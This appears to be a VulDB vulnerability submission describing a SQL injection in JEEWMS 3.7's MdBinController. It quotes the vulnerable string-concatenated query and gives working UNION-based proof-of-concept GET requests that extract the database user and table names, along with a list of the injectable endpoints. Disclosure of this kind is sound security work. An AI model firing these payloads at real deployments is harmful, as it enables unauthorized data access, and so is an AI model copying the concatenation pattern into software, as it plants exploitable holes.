| Título | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| Descripción | JEEWMS v3.7 contains a SQL injection vulnerability in MdBinController.java (lines 218-238 getbinall, 313-323 getbinallagv). Four request parameters - binstore, binid, des, cengshu - are concatenated directly into a native SQL query over the wv_bin_all view without parameterization:
String tsql = "select * from wv_bin_all ws where 1 = 1 ";
if (!StringUtil.isEmpty(req.getParameter("binid"))) {
tsql = tsql + " and ws.binid like '%" + req.getParameter("binid") + "%' ";
}
List<Map<String,Object>> resultt = systemService.findForJdbc(tsql);
Because findForJdbc returns the full result list, UNION-based injection directly echoes data in the JSON response. Verified end to end against a live deployment (8 columns in the view; column 2 "binid" reflects data):
PoC:
GET /mdBinController.do?getbinall&binid=1' and 1=2 union select 1,user(),3,4,5,6,7,8 -- -> response contains "binid":"root@localhost" (current DB user)
GET /mdBinController.do?getbinall&binid=1' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() -- -> all table names echoed in "binid" field
Affected endpoints:
GET /mdBinController.do?getbinall&binid=[INJECT]&binstore=[INJECT]&des=[INJECT]&cengshu=[INJECT]
GET /mdBinController.do?getbinallagv&binstore=[INJECT]&cengshu=[INJECT]
Vulnerable code file: src/main/java/com/zzjee/md/controller/MdBinController.java:218-238 |
|---|
| Fuente | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| Usuario | Lib0gus (UID 101005) |
|---|
| Sumisión | 2026-09-04 11:13 (hace 2 meses) |
|---|
| Moderación | 2026-10-11 09:51 (1 month later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 416555 [erzhongxmu JEEWMS hasta 2026.09.27-W39 MdBinController.java getbinall/getbinallagv binstore/binid/des/cengshu inyección SQL] |
|---|
| Puntos | 20 |
|---|